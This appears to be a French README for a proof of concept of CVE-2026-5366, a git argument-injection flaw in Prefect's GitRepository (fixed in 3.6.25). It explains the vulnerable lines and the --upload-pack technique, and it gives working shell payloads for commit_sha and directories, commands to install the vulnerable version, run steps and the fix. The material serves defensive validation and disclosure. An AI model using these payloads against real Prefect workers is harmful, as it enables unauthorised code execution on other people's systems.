
PoC pour CVE-2026-5366 : injection d'argument git dans le GitRepository de Prefect menant à une RCE sur le worker.
commit_sha (plus injection d’arguments via directories)src/prefect/runner/storage.pyCeci est une preuve de concept pour une vulnérabilité déjà divulguée et corrigée (corrigée dans Prefect 3.6.25), publiée à des fins éducatives et de validation défensive. Exécutez-la uniquement contre des logiciels et systèmes que vous possédez ou que vous êtes autorisé à tester. Si vous utilisez Prefect, mettez à jour vers la version 3.6.25 ou ultérieure.
| Fichier | Objectif |
|---|
poc.py | Exécute les deux vecteurs d’injection contre une installation vulnérable et indique lequel permet l’exécution de code |
run_offline.sh | Exécuteur sans réseau : construit un dépôt local file:// et lance poc.py contre celui-ci (la manière fiable de voir l’exécution de code se déclencher) |
Dans src/prefect/runner/storage.py :
# Ligne 174
if branch and commit_sha:
raise ValueError(...)
# Ligne 181
self._commit_sha = commit_sha # aucune validation
...
self._directories = directories
Points d’injection (numéros de ligne de la version 3.6.23) :
commit_sha :
pull_code() ~379 : ["git", "fetch", "origin", self._commit_sha]pull_code() ~391 : ["git", "checkout", self._commit_sha]_clone_repo() ~475 : ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480 : ["git", "checkout", self._commit_sha]directories :
pull_code() ~360 : ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489 : ["git", "sparse-checkout", "set", *self._directories]
(sans séparateur --)Sur le chemin commit_sha, --upload-pack=<programme> est interprété par
git fetch / git checkout comme le programme de pack à exécuter pour la connexion, donc le
programme est exécuté localement sur la machine du worker. Ceci est vérifié de bout en bout
(voir « Résultats vérifiés » ci-dessous).
Le chemin directories est une véritable injection d’arguments mais n’est pas un vecteur d’exécution de code
via --upload-pack : git sparse-checkout set est une commande locale sans
option --upload-pack, donc la charge utile est rejetée comme indicateur inconnu. Cette
asymétrie se reflète dans le correctif en amont : commit_sha est rejeté de manière ferme, tandis
qu’une entrée directories débutant par -- ne déclenche qu’un avertissement.
Le cœur est une astuce d’injection d’arguments Git sur le vecteur commit_sha.
Absence de validation. Dans la version 3.6.23, la valeur commit_sha est stockée textuellement
(storage.py:181), sans autre vérification que l’exclusion mutuelle branch/commit_sha. Toute chaîne est acceptée.
Elle atterrit dans une position d’argument Git. Lorsque Prefect tire le code
(pull_code() puis _clone_repo()), la valeur est placée dans une liste d’arguments Git :
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
Il s’agit d’une liste d’arguments (pas de shell), donc il n’y a pas d’injection de shell. Le défaut est
qu’il n’y a pas de séparateur -- avant la valeur contrôlée par l’attaquant.
--upload-pack est interprété comme une option, non comme un argument. Git traite tout ce qui
commence par - comme une option sauf si un séparateur -- le précède. La charge utile :--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
transforme la commande en :
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<programme> est une option légitime de git fetch / clone /
ls-remote : elle nomme le programme que Git lance pour servir les packs. Lorsque le dépôt distant est
local (file://) ou atteint via SSH/transport local, Git exécute ce programme
sur la machine locale.
/bin/sh -c '...' à la place du véritable
assistant git-upload-pack, donc la commande de l’attaquant s’exécute sur le worker Prefect.
Git échoue alors (sh ne parle pas le protocole Git), mais l’effet de bord (l’exécution de code)
a déjà eu lieu, c’est pourquoi le PoC ignore l’exception résultante et ne vérifie que le fichier marqueur.Pourquoi le nettoyage pré-test est important. Si la destination possède déjà un répertoire .git,
Prefect emprunte le chemin « mise à jour du dépôt existant ». Le supprimer force le chemin complet
_clone_repo(), qui a les appels fetch origin <valeur> + checkout <valeur> les plus directs, les meilleurs sites d’injection.
Pourquoi directories ne donne pas d’exécution de code. Cette valeur atterrit dans
git sparse-checkout set <valeur>, une commande locale sans option --upload-pack,
donc Git rejette la charge utile comme indicateur inconnu. C’est toujours une véritable injection
d’arguments, mais pas un vecteur d’exécution de code avec cette charge utile.
Le correctif (3.6.25). commit_sha doit correspondre à ^[0-9a-fA-F]{4,64}$, donc une
charge utile --upload-pack=... est rejetée avec ValueError: Invalid commit SHA
au moment de la construction. Pour directories, le correctif ajoute le séparateur -- dans la commande
Git (les valeurs ne peuvent plus être lues comme des options) ainsi qu’un avertissement.
prefect==3.6.23GitRepository(..., commit_sha=..., directories=...).pull_code()commit_sha malveillant est rejeté à la construction de GitRepository(...)python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
Ou depuis les sources au tag vulnérable exact :
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
La méthode fiable et autonome (construit un dépôt local file:// et exécute les deux vecteurs) :
./run_offline.sh
# ou spécifier un interpréteur particulier :
PYTHON=.venv-vuln/bin/python ./run_offline.sh
Vous pouvez aussi lancer poc.py directement :
python poc.py # cible https par défaut
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # dépôt local
Important : Git n’honore --upload-pack que sur les transports local et SSH. Contre
le dépôt https par défaut, la charge utile est inerte, donc python poc.py ne signale aucun
marqueur même sur la version vulnérable 3.6.23. Utilisez run_offline.sh (ou un POC_TARGET_REPO
via file:// / ssh) pour voir l’exécution de code se déclencher réellement.
Le script effectue un nettoyage agressif (force_clean_destination) avant chaque vecteur
afin d’atteindre de manière fiable le chemin de clonage (_clone_repo), qui effectue :
git clone ... --no-checkout
git fetch origin <CHARGE_UTILE_MALVEILLANTE>
git checkout <CHARGE_UTILE_MALVEILLANTE>
commit_sha :
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories :
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
Ces valeurs atteignent les positions d’arguments brutes dans fetch / checkout et
sparse-checkout set.
Reproduit de bout en bout, entièrement hors ligne (dépôt nu local file:// via
run_offline.sh), sur Python 3.12 :
| Version | commit_sha | directories |
|---|---|---|
| 3.6.23 (vulnérable) | exécution de code réalisée : fichier marqueur écrit pendant git fetch origin <charge utile> | pas de marqueur : sparse-checkout set rejette le flag --upload-pack |
| 3.6.25 (corrigée) | neutralisé : ValueError: Invalid commit SHA ... à la construction de GitRepository(...) | pas de marqueur : séparateur -- + avertissement |
Contenu observé du marqueur lors de l’exécution vulnérable :
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
Sur une installation corrigée, l’objet malveillant échoue à la construction, avant toute exécution Git :
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
Une entrée directories débutant par -- n’émet qu’un avertissement (la véritable protection est
le séparateur -- ajouté à la commande Git).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dUtilisez de manière responsable (bien sûr !!! :PpPPpp) et uniquement sur des systèmes que vous contrôlez :-)